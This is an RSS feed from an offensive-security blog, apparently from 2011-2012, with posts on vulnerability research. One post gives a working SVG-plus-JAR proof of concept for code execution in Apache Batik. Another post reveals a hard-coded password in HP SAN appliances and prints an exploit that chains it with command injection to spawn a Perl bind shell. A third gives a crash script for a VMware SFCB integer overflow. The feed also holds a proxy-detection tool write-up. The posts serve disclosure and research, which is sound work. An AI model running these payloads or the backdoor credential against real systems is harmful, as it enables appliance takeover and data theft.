<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/css" href="http://www.agarri.fr/blog/styles/feed.css"?>
<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Agarri : Sécurité informatique offensive</title>
<atom:link href="http://www.agarri.fr/blog/rss.xml" rel="self" type="application/rss+xml" />
<link>http://www.agarri.fr/blog</link>
<description>Analyses techniques et avis subjectifs</description>
<dc:language>fr-fr</dc:language>
<dc:creator>Nicolas Grégoire</dc:creator>
<dc:date>2012-05-12T12:43:55+02:00</dc:date>
<admin:generatorAgent rdf:resource="http://nanoblogger.sourceforge.net" />
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2012/05/11/svg_files_and_java_code_execution/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2012/05/11/svg_files_and_java_code_execution/index.html</guid>
<title>SVG files and Java code execution</title>
<dc:date>2012-05-11T17:33:58+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<description>
<![CDATA[<p>I recently had to audit an application using the <a href="http://xmlgraphics.apache.org/batik/" target="_blank">Batik framework</a> to convert SVG files to PNG images. Given that the <a href="http://www.w3.org/TR/SVG/" target="_blank">SVG 1.1</a> and <a href="http://www.w3.org/TR/SVGTiny12/" target="_blank">SVG Tiny 1.2</a> specifications allow to <a href="http://www.w3.org/TR/SVG/script.html" target="_blank">call Java code</a> from the SVG file and that Batik <a href="http://xmlgraphics.apache.org/batik/using/scripting/java.html#javaInDocument" target="_blank">supports</a> this feature, I had to give it an in-depth look.</p>
<br/>
<p>The concept (you can read the links above for more details) is to link from the SVG file to a specifically crafted JAR file. DOM events will accordingly trigger execution of Java code. Some (non standardized) security restrictions may apply. Let's try to create a PoC ...</p>
<br/>
<p> First, we need a minimalist SVG file referencing the JAR file:</p>
<pre>
$ cat - &gt; evil.svg
&lt;svg xmlns="http://www.w3.org/2000/svg"
        xmlns:xlink="http://www.w3.org/1999/xlink"
        version="1.0"&gt;
&lt;script type="application/java-archive" xlink:href="http://somewhere/evil.jar"/&gt;
&lt;text&gt;Static text ...&lt;/text&gt;
&lt;/svg&gt;
^D
</pre>
<br/>
<p>Now, we need to generate the JAR. The final result should be something like that:</p>
<pre>
$ unzip -l evil.jar
Archive:  evil.jar
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2012-05-10 18:28   META-INF/
       68  2012-05-10 18:28   META-INF/MANIFEST.MF
        0  2012-05-10 17:50   com/
        0  2001-03-19 21:27   com/pwnage/
        0  2012-05-10 18:25   com/pwnage/svg/
      742  2012-05-10 18:22   com/pwnage/svg/SVGHandler.class
</pre>
<br/>
<p>Creation of SVGHandler.java:</p> 
<pre>
$ mkdir -p com/pwnage/svg
$ cat - &gt; com/pwnage/svg/SVGHandler.java
package com.pwnage.svg;

import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;

import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;

public class SVGHandler implements EventListenerInitializer {

    public SVGHandler() {
    }

    public void initializeEventListeners(SVGDocument document) {
        SVGSVGElement root = document.getRootElement();
        EventListener listener = new EventListener() {
            public void handleEvent(Event event) {
                System.out.println("Oh yeah, inside SVGLoad !"); // Our 31337 payload ;-)
            }
        };
        root.addEventListener("SVGLoad", listener, false);
    }

}
^D
</pre>
<p>Some specific entries are needed in the MANIFEST.MF file:</p>
<pre>
$ cat - &gt; My_Manifest
Manifest-Version: 1.0
SVG-Handler-Class: com.pwnage.svg.SVGHandler

^D
</pre>
<p>Now compile to .class and create the JAR:</p>
<pre>
$ javac -cp /usr/share/java/xml-apis-ext.jar com/pwnage/svg/SVGHandler.java
$ jar cmf My_Manifest evil.jar com/
</pre>
<p>We are ready to test the two main tools of the Batik framwork, <a href="http://xmlgraphics.apache.org/batik/tools/browser.html" target="_blank">Squiggle the SVG Browser</a> and <a href="http://xmlgraphics.apache.org/batik/tools/rasterizer.html" target="_blank">SVG Rasterizer</a> !</p>
<br/>
<p>The default security policy in Squiggle is to execute Java code if the JAR has the same origin than the SVG file (or is embedded):</p>
<br/>
<center><img src="http://www.agarri.fr/docs/batik-prefs.png"/></center>
<br/>
<p>Let's put the SVG and JAR files on a remote web server and request the SVG from Squiggle. It works: the string "Oh yeah, inside SVGLoad !" is displayed to the console and we get the following Apache logs:</p>
<pre>
192.168.166.9 - - [10/May/2012:23:16:39 +0200] "GET /evil.svg HTTP/1.1" 200 811 "-" "Batik/1.7"
192.168.166.9 - - [10/May/2012:23:16:40 +0200] "GET /evil.jar HTTP/1.1" 200 2055 "-" "Java/1.6.0_26"
</pre>
<p>On the contrary, Rasterizer by default neither trigger the "SVGLoad" event or execute some Java code. The following options are needed:</p>
<pre>
$ java -jar batik-rasterizer.jar -onload -scripts application/java-archive evil.svg
About to transcode 1 SVG file(s)
Converting evil.svg to evil.png ...
Oh yeah, inside SVGLoad !
... success
</pre>
<p>TL;DR: Batik Rasterizer, used in a way similar to the <a href="https://github.com/highslide-software/highcharts.com/blob/master/exporting-server/index.php" target="_blank">export module</a> of HighCharts.com, is safe by default. But beware if your application uses the Bridge or Swing components. And of course, do not browse untrusted SVG files using Squiggle !</p>
<br/>
<p>EDIT: The <a href="http://www.agarri.fr/docs/batik-evil.svg" target="blank">SVG</a> and <a href="http://www.agarri.fr/docs/batik-evil.jar" target="_blank">JAR</a> files are now available for download.</p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2012/02/17/compromising_hp_san_appliances/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2012/02/17/compromising_hp_san_appliances/index.html</guid>
<title>Compromising HP SAN appliances</title>
<dc:date>2012-02-17T16:34:01+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<description>
<![CDATA[<p>In November 2011, HP <a href="http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086" target"_blank">published</a> an advisory regarding their "HP StorageWorks P4000 Virtual SAN Appliance". However, these vulnerabilities are located in the "Centralized Management Console" (<a href="http://h18000.www1.hp.com/products/quickspecs/13552_div/13552_div.html" target="_blank">CMC</a>) daemon which is used in the full "P4000 G2 SAN" range of products (including the P4300, P4500 and P4800 physical SAN devices). This post describes the process followed to identify these vulnerabilities.</p>
<br/>
<p>First, what is this product ? HP VSA is a virtualized SAN infrastructure for VMware ESX or Microsoft Hyper-V environments. VSA consolidates server disk drives and external storage into a single virtual iSCSI SAN. This means that if you compromise the appliance, you also compromise any data stored in the SAN ! Next, where can we find the target software ? HP proposes a full trial version <a href="http://h18006.www1.hp.com/products/storage/software/vsa/trial/index.html" target="_blank">here</a>. My tests were done on version 696_10503. The version now available is 696_10537 (probably safe but untested).</p>
<br/>
<p>We now have a working VM with the HP VSA demo. The first step is to create some administration traffic (on port TCP/1383) using the Windows client, sniff it and try to reverse the protocol in order to later fuzz it. The first packets of the exchange are the following :</p>
<pre>
00000000  00 00 00 01 00 00 00 01  00 00 00 13 00 00 00 13 ........ ........
00000010  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
00000020  52 65 71 75 65 73 74 20  74 72 61 6e 73 66 6f 72 Request  transfor
00000030  6d 73 00                                         ms.

    00000000  00 00 00 01 00 00 00 01  00 00 00 19 00 00 00 13 ........ ........
    00000010  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
    00000020  52 65 73 70 6f 6e 73 65  20 74 72 61 6e 73 66 6f Response  transfo
    00000030  72 6d 73 3a 20 58 4f 52  00                      rms: XOR .

00000033  00 00 00 01 00 00 00 01  00 00 00 13 00 00 00 13 ........ ........
00000043  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
00000053  4e 65 77 20 74 72 61 6e  73 66 6f 72 6d 3a 20 58 New tran sform: X
00000063  4f 52 00                                         OR.

    00000039  00 00 00 01 00 00 00 01  00 00 00 15 00 00 00 13 ........ ........
    00000049  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
    00000059  4e 65 77 20 74 72 61 6e  73 66 6f 72 6d 20 4f 4b New tran sform OK
    00000069  20 58 4f 52 00                                    XOR.
</pre>
<p>Based on this small exchange, we can detect a classic structure with a header followed by an ASCIIZ string.</p>
<br/>
<p>We can suppose that the structure of the header is the following :<br/>
- the first 8 bytes are static : "00 00 00 01 00 00 00 01" (offset 0x00)<br/>
- the next 4 bytes represent the size of the ASCIIZ string (offset 0x08)<br/>
- the next 4 bytes are static : "00 00 00 13" (offset 0x0c)<br/>
- the next 16 bytes are static : "00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00" (offset 0x10)</p>
<br/>
<p>From this point, the traffic is XOR-encoded :</p>
<pre>
00000066  00 00 00 01 00 00 00 01  00 00 00 35 00 00 00 35 ........ ...5...5
00000076  00 00 00 00 00 00 00 00  00 00 00 14 00 00 00 00 ........ ........
00000086  3e 3d 35 3b 3c 68 7d 33  36 3f 3b 3c 7d 30 30 30 &gt;=5;&lt;h}36 ?;&lt;}000
00000096  30 30 30 30 30 7d 04 37  20 21 3b 3d 3c 72 70 6a 00000}.7  !;=&lt;rpj
000000A6  7c 67 7c 62 62 70 7e 72  10 27 3b 3e 36 72 70 62 |g|bbp~r. ';&gt;6rpb
000000B6  61 63 61 70 00                                   acap.

    0000006E  00 00 00 00 00 00 00 01  00 00 00 0a 00 00 00 00 ........ ........
    0000007E  00 00 00 00 00 00 00 00  ff ff ff ff ff ff ff ff ........ ........
    0000008E  1d 19 68 72 1e 3d 35 3b  3c 00                   ..hr.=5; &lt;.
</pre>
<p>Note : attentive readers have probably noticed that the format of the headers is now slighlty different, in both request and response. In fact, HP VSA isn't picky at all about the format of the header, as far as the size of the content is exact.</p>
<br/>
<p>In order to go further, we need the XOR key. Given that the first XOR-encoded packet is the login request, we sent a request with a password string of "bbbbbbbb" and looked for a repetitive pattern (see above, from offset 0x66 to 0xBA). Do you see it ?</p>
<br/>
<p>..............</p>
<br/>
<p>OK, we have a string of 8 x "0" (ASCII 0x30) which may match the 8 x "b" (ASCII 0x62) if the key is 1 byte long. Quick calculation : 0x30 ^ 0x62 = 0x52. Let's try to verify it by trying to decode tshark (command-line version of Wireshark) output by piping it to a minimalist Python shell like this one :</p>
<pre>
import sys
for line in sys.stdin:
        print '++ ',
        print ''.join( [ chr(ord(c) ^ 0x52) for c in line ] ) 
</pre>
<p>And it works ! ;-) We now know that our login request has the following format : "login:/MY_USER/MY_PASSSWD/Version "8.5.0"" and we can code a basic <s>client</s> fuzzer. After a few runs, the target process crashes while parsing overlong passwords. Debugging will reveal that sscanf() is used with fixed-length stack buffers and no length checks. The sscanf() pattern is "/%[^/]/%[^/]/%s %s" with arguments 1, 2 and 3 of size 1024. Argument 4 is smaller (&lt;= 0x50 bytes).</p>
<br/>
<p>A pre-authentication stack-based overflow is already a cool finding, but the disassembly will reveal something much more easy to exploit : hardcoded credentials !</p>
<br/>
<p>This is the vulnerable call to sscanf():</p>
<br/>
<center><img src="http://www.agarri.fr/docs/sscanf.png"/></center>
<br/>
<p>The format parameter is stored in the .rodata section, and a very weird string ("L0CAlu53R") is located next to it <u>and</u> used in the same function:</p>
<br/>
<center><img src="http://www.agarri.fr/docs/constants.png"/></center>
<br/>
<p>This string is a magic password, working for every account !</p>
<br/>
<center><img src="http://www.agarri.fr/docs/passwd-check.png"/></center>
<br/>
<p>Let's recap : we can exploit a pre-auth buffer-overflow and gain OS-level privileges or use the hard-coded password to gain application-level privileges. The easiest way (aka "attacker's path of least resistance") to have both would be to switch from application-level privileges (no memory corruption, 100% reliable) to OS-level privileges with another vulnerability involving manipulation of the file-system or commands execution.</p>
<br/>
<p>So we browsed every part of the Windows client in order to explore every available feature. And we found a "Check connectivity" feature using "ping" without sanitizing the parameters.</p>
<br/>
<p>The command has the following format :</p>
<pre>
get:/lhn/public/network/ping/&lt;field1&gt;/&lt;field2&gt;/
   &lt;field1&gt; : IP address of the interface from which ICMP packets are send
   &lt;field2&gt; : target IP address or hostname
</pre>
<br/>
<p>Given that Perl is installed on the appliance, we use the classic Metasploit payload to bind a shell on port TCP/12345 :</p>
<pre>
def send_Login():
        # BACKDOOR
        data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"'
        send_packet(data)

def send_Exec():
        # METASPLOIT PAYLOAD
        cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)-&gt;accept; \
                $~-&gt;fdopen($c,w);STDIN-&gt;fdopen($c,r);system$_ while&lt;&gt;'"

        # COMMAND INJECTION BUG
        data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

        # EXPLOIT
        zprint('Now connect to port 12345 of machine ' + str(HOST))
        send_packet(data)
</pre>
<br/>
<p> Et voil&agrave;, mission accomplished ! We fully compromised the SAN appliance, allowing unauthorized acces to every data stored inside. Plausible next moves : reconfigure some interesting <a href="http://en.wikipedia.org/wiki/Logical_Unit_Number" target="_blank">LUN</a>, mount them and steal data (NTLM hashes, configuration files, raw database files, ...). A PoC code is available : <a href="/docs/hydragen.py" target="_blank">hydragen.py</a>.</p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/11/26/regarding_vmsa-2011-0013/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/11/26/regarding_vmsa-2011-0013/index.html</guid>
<title>Regarding VMSA-2011-0013 ...</title>
<dc:date>2011-11-26T12:33:51+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<description>
<![CDATA[<p>Just a quick blog-post in order to publically describe some facts about the recent VMware patch for ESX and ESXi (<a href="http://www.vmware.com/security/advisories/VMSA-2011-0013.html" target="_blank">VMSA-2011-0013</a>) ...</p>
<br/>
<p>I <a href="http://seclists.org/bugtraq/2010/Jun/26" target="_blank">published</a> in June 2010 two pre-authentication bugs in SFCB : one heap overflow (<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1937" target="_blank">CVE-2010-1937</a>) and one integer overflow (<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2054" target="_blank">CVE-2010-2054</a>). The first bug was silently patched by VMware in previous versions of their products and will not be discussed further. But the story behind the second one is somewhat funny ;-)</p>
<br/>
<p>So, in June 2010, the latest available version of ESX and ESXi was 4.0. This version doesn't include a vulnerable version of SFCB. It uses v1.3.3 but CVE-2010-2054 was introduced in v1.3.4. So far so good ... But one month later, VMware ESX and ESXi 4.1 was released, including sfcbd v1.3.4 (the vulnerable one). And in October 2011, a patch was finally published.</p>
<br/>
<p>However, the question is : is an unpatched version of ESX or ESXi 4.0 really exploitable ? I did some testing on "VMware ESXi 4.1.0 build-260247", that I'll show in details now.</p>
<br/>
<p>First, the testing script :</p>
<pre>$ cat cl.sh 
#!/bin/bash

XX="[==]"
IP=$1
CL=$2
SZ=$3

echo "$XX Target : $IP"
echo "$XX Claimed Content-Length : $CL"
echo "$XX Real Body Length : $SZ"
echo;

(echo "POST /cimom HTTP/1.1"; \
        echo "Content-Length: $CL"; \
        echo; \
        perl -e "print 'C'x$SZ" \
        echo; \
        ) | ncat --ssl $IP 5989
</pre>
<br/>
<p>Let's go straight to the exploitable situation, using a value near UINT_MAX :</p>
<pre>./cl.sh 192.168.8.2 4294967292 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 4294967292
[==] Real Body Length : 10

HTTP/1.1 413 Request Entity Too Large
Server: sfcHttpd
Content-Length: 0
</pre>
<br/>
<p>Doh, a 413 status code :-( Not the expected answer.<br/>After some additonal testing :</p>
<pre>$ ./cl.sh 192.168.8.2 100000000 10 
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000000
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0
</pre>
<br/>
<pre>$ ./cl.sh 192.168.8.2 100000001 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000001
[==] Real Body Length : 10

HTTP/1.1 413 Request Entity Too Large
Server: sfcHttpd
Content-Length: 0
</pre>
<br/>
<p>It seems that VMware uses a hard-coded value of 100.000.000 for httpMaxContentLength.<br/>Adding "httpMaxContentLength=0" to the file /etc/sfcb/sfcb.cfg will bypass this verification and allow to crash the process :</p>
<pre>$ ./cl.sh 192.168.8.2 100000001 10 
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000001
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0
</pre>
<br/>
<p>Not an 413, this seems fine ! Now with a value near UINT_MAX :<p>
<pre>$ ./cl.sh 192.168.8.2 4294967292 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 4294967292
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0
</pre>
<br/>
<p>And on the ESXi side :</p>
<pre>*** glibc detected *** sfcbd: free(): invalid pointer: 0x089654f8 ***
======= Backtrace: =========
/lib/libc.so.6[0x1e07119d]
/lib/libc.so.6(cfree+0x90)[0x1e074d90]
/lib/libsfcHttpAdapter.so.0[0x1dddc3b4]
/lib/libsfcHttpAdapter.so.0[0x1dddf690]
/lib/libsfcHttpAdapter.so.0[0x1dde052e]
/lib/libsfcHttpAdapter.so.0(httpDaemon+0x133b)[0x1dde1aba]
sfcbd[0x8930f67]
sfcbd[0x8931b5c]
/lib/libc.so.6(__libc_start_main+0xdc)[0x1e01df0c]
sfcbd[0x89307b1]
======= Memory map: ========
</pre>
<br/>
<p>In conclusion : by default, ESXi 4.1 doesn't seem to be exploitable. But the vulnerable code is here, and is reachable if a special value (zero) is defined for the "httpMaxContentLength" configuration entry. If you use ESX (untested), you should do your own testing or just install the patch.</p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/11/12/traceroute-like_http_scanner/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/11/12/traceroute-like_http_scanner/index.html</guid>
<title>Traceroute-like HTTP scanner</title>
<dc:date>2011-11-12T22:10:02+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<description>
<![CDATA[<p>Side note : I just switched to writing my blog posts in english. I hope they will still be understandable ;-) My french readers are probably fine with this language and should not be negatively impacted by this change.</p>
<br/>
<p>During some recent pentests, I used the "Max-Forwards" trick to identify some "hidden" reverse HTTP proxies. My customers were surprised by the information found and asked me a copy of the tool. I then choose to take some time to polish and release it. Btw, thanks to Julien Cayssol for the initial versions !</p>
<br/>
<p>Some background information about the Max-Forwards trick ... The RFC <a href="http://www.ietf.org/rfc/rfc2616.txt" target=-_blank">2616</a> (HTTP/1.1) and <a href="http://www.ietf.org/rfc/rfc3261.txt">3261</a> (SIP) define this HTTP header (resp. in section 14.31 and 8.1.1.6) :</p>
<pre>
14.31 Max-Forwards

   The Max-Forwards request-header field provides a mechanism with the
   TRACE (section 9.8) and OPTIONS (section 9.2) methods to limit the
   number of proxies or gateways that can forward the request to the
   next inbound server. This can be useful when the client is attempting
   to trace a request chain which appears to be failing or looping in
   mid-chain.

       Max-Forwards   = "Max-Forwards" ":" 1*DIGIT

   The Max-Forwards value is a decimal integer indicating the remaining
   number of times this request message may be forwarded.

   Each proxy or gateway recipient of a TRACE or OPTIONS request
   containing a Max-Forwards header field MUST check and update its
   value prior to forwarding the request. If the received value is zero
   (0), the recipient MUST NOT forward the request; instead, it MUST
   respond as the final recipient. If the received Max-Forwards value is
   greater than zero, then the forwarded message MUST contain an updated
   Max-Forwards field with a value decremented by one (1).
</pre>
<br/>
<pre>
8.1.1.6 Max-Forwards

   The Max-Forwards header field MAY be ignored for all other methods
   defined by this specification and for any extension methods for which
   it is not explicitly referred to as part of that method definition.

   The Max-Forwards header field serves to limit the number of hops a
   request can transit on the way to its destination.  It consists of an
   integer that is decremented by one at each hop.  If the Max-Forwards
   value reaches 0 before the request reaches its destination, it will
   be rejected with a 483(Too Many Hops) error response.

   A UAC MUST insert a Max-Forwards header field into each request it
   originates with a value that SHOULD be 70.  This number was chosen to
   be sufficiently large to guarantee that a request would not be
   dropped in any SIP network when there were no loops, but not so large
   as to consume proxy resources when a loop does occur.  Lower values
   should be used with caution and only in networks where topologies are
   known by the UA.
</pre>
<br/
<p>But this is RFC, not a real life implementation. In fact, the TRACE method is often blocked at the perimeter and we need some smarter ways to identify the reverse proxies. Given my experience, using the TRACE and GET methods is in most cases sufficient to collect weird behaviors. These behaviors are then checked against a few heuristic rules in order to calculate a score. A score greater than zero indicates a possible reverse proxy.</p>
<br/>
<p>The heuristic rules used are the following :</p>
<ul>
<li>A 502 status code is returned (RFC 2616, section 14.31)</li>
<li>A 483 status code is returned (RFC 3261, section 8.1.1.6)</li>
<li>When using TRACE, the body contains the 'X-Forwarded-For' string</li>
<li>'Via' or 'X-Via' headers are detected</li>
<li>Some fields are different between hops :</li>
<ul>
<li>HTTP status codes</li>
<li>'Server' headers</li>
<li>'Content-Type' headers</li>
<li>'Via' headers</li>
<li>HTML titles</li>
<li>HTML 'address' tags</li>
<li>'X-Forwarded-For' values in body</li>
</ul>
</ul>
<br/>
<p>The tool was run against the <a href="http://www.alexa.com/" target="_blank">Alexa</a>'s Top 100, using the TRACE and GET methods. Some interesting results were identified and we will now examine them.</p>
<br/>
<p>Target : www.ask.com / Method : TRACE</p>
<pre>
[==] Target URL : http://www.ask.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : Access Denied
        Hop #1 : Access Denied
        Hop #2 : Access Denied

Server:
        Hop #0 : AkamaiGHost
        Hop #1 : AkamaiGHost
        Hop #2 : AkamaiGHost

Content-Type:
        Hop #0 : text/html
        Hop #1 : text/html
        Hop #2 : text/html

StatusCode:
        Hop #0 : 403 Forbidden
        Hop #1 : 403 Forbidden
        Hop #2 : 403 Forbidden

[--] No reverse proxy
</pre>
<br/>
<p>Nothing interesting was detected :-( However, if we switch to GET :</p>
<pre>
[==] Target URL : http://www.ask.com:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] HTTP 502 : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : 502 Proxy Error
        Hop #1 : Undef
        Hop #2 : Ask.com Web Search

Server:
        Hop #0 : Undef
        Hop #1 : Apache
        Hop #2 : Apache

Content-Type:
        Hop #0 : text/html; charset=iso-8859-1
        Hop #1 : text/html
        Hop #2 : text/html;charset=UTF-8

StatusCode:
        Hop #0 : 502 Bad Gateway
        Hop #1 : 500 Internal Server Error
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 8
</pre>
<br/>
<p>The overall score is now 8 and we can assume there's probably 2 reverse-proxies (hops #1 and #2) ! If we try 't.co', we see that TRACE is blocked. However, we have a score of 1 because of the change in 'Server' headers :</p>
<pre>
[==] Target URL : http://www.t.co:80/
[==] Used method : TRACE
[==] Max number of hops : 3
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : 405 Method Not Allowed
        Hop #1 : 405 Method Not Allowed
        Hop #2 : 405 Method Not Allowed

Server:
        Hop #0 : Apache
        Hop #1 : hi
        Hop #2 : hi

Content-Type:
        Hop #0 : text/html; charset=iso-8859-1
        Hop #1 : text/html; charset=iso-8859-1
        Hop #2 : text/html; charset=iso-8859-1

StatusCode:
        Hop #0 : 405 Method Not Allowed
        Hop #1 : 405 Method Not Allowed
        Hop #2 : 405 Method Not Allowed

[++] Found a reverse proxy, score is 1
</pre>
<br/>
<p>'t.co' again, now using GET :</p>
<pre>
[==] Target URL : http://www.t.co:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] HTTP 502 : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : Twitter / Over capacity
        Hop #1 : t.co / Twitter
        Hop #2 : t.co / Twitter

Server:
        Hop #0 : Apache
        Hop #1 : hi
        Hop #2 : hi

Content-Type:
        Hop #0 : text/html; charset=UTF-8
        Hop #1 : text/html; charset=utf-8
        Hop #2 : text/html; charset=utf-8

StatusCode:
        Hop #0 : 502 Bad Gateway
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 5
</pre>
<br/>
<p>Did you notice the case mismatch between 'utf8' and 'UTF8' ? ;-) There's too some situations where internal IP or hostnames are leaked ! First example, 'typepad.com' and 10.17.*.* :</p>
<pre>
[==] Target URL : http://www.typepad.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
X-Fwd:
        Hop #0 : [Your_IP], 10.17.141.102
        Hop #1 : [Your_IP], 10.17.141.102
        Hop #2 : [Your_IP], 10.17.141.102

Server:
        Hop #0 : Apache
        Hop #1 : Apache
        Hop #2 : Apache

Content-Type:
        Hop #0 : message/http
        Hop #1 : message/http
        Hop #2 : message/http

StatusCode:
        Hop #0 : 200 OK
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 3
</pre>
<br/>
<p>Second example, '163.com' and the host 'stcz164' listening on port 8103 :</p>
<pre>
[==] Target URL : http://www.163.com:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] "Via" header : Probably a reverse proxy
[++] "Via" header : Probably a reverse proxy
[++] "Via" header : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Via:
        Hop #0 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)
        Hop #1 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)
        Hop #2 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)

Title:
        Hop #0 : ���
        Hop #1 : ���
        Hop #2 : ���

Server:
        Hop #0 : nginx
        Hop #1 : nginx
        Hop #2 : nginx

Content-Type:
        Hop #0 : text/html; charset=GBK
        Hop #1 : text/html; charset=GBK
        Hop #2 : text/html; charset=GBK

StatusCode:
        Hop #0 : 200 OK
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 3
</pre>
<br/>
<p>Third example, 'zhaopin.com' and '192.168.9.*' :</p>
<pre>
[==] Target URL : http://www.zhaopin.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
[++] "Via" header : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Via:
        Hop #0 : 1.0 squid91 (squid/3.0.STABLE13)
        Hop #1 : Undef
        Hop #2 : Undef

X-Fwd:
        Hop #0 : [Your_IP]
        Hop #1 : [Your_IP], 192.168.9.113
        Hop #2 : [Your_IP], 192.168.9.98

Server:
        Hop #0 : squid/3.0.STABLE13
        Hop #1 : Apache
        Hop #2 : Apache

Content-Type:
        Hop #0 : text/plain
        Hop #1 : message/http
        Hop #2 : message/http

StatusCode:
        Hop #0 : 200 OK
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 9
</pre>
<br/>
<p>This can be used on SIP networks too, using the INVITE method and looking for HTTP 483, but I didn't test it. You can download the tool (v0.5) <a href="/docs/HTTP-Traceroute.py" target="_blank">here</a>. Enjoy !</p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/10/31/xmlsec_et_webkit_deux_vecteurs_pour_abuser_de_libxslt/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/10/31/xmlsec_et_webkit_deux_vecteurs_pour_abuser_de_libxslt/index.html</guid>
<title>xmlsec et webkit, deux vecteurs pour abuser de libxslt</title>
<dc:date>2011-10-31T15:18:02+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<description>
<![CDATA[<p>Suite &agrave; l'article <i>"Webkit + XSLT = CVE-2011-1774"</i> publi&eacute; dans le <a href="http://ed-diamond.com/produit.php?ref=mischs4&id_rubrique=9&caracteristique=1-2-&caracdisp=2-10-" target="_blank">MISC HS 4</a> <i>"A l'assaut du Web"</i>, voici quelques d&eacute;tails techniques suppl&eacute;mentaires sur deux vecteurs permettant d'abuser certaines fonctionnalit&eacute;s de libxslt : xmlsec et webkit.</p>
<br/>
<p><img src="http://www.agarri.fr/images/bullet.gif"/>&nbsp;Tout d'abord, un bref rappel sur libxslt : ce moteur XSLT, d&eacute;velopp&eacute; dans le cadre du projet Gnome, contient une extension permettant de stocker dans un fichier le r&eacute;sultat d'une transformation XSLT. Voici &agrave; quoi ressemble un usage minimaliste de cette extension (apt-get install xsltproc).</p>
<br/>
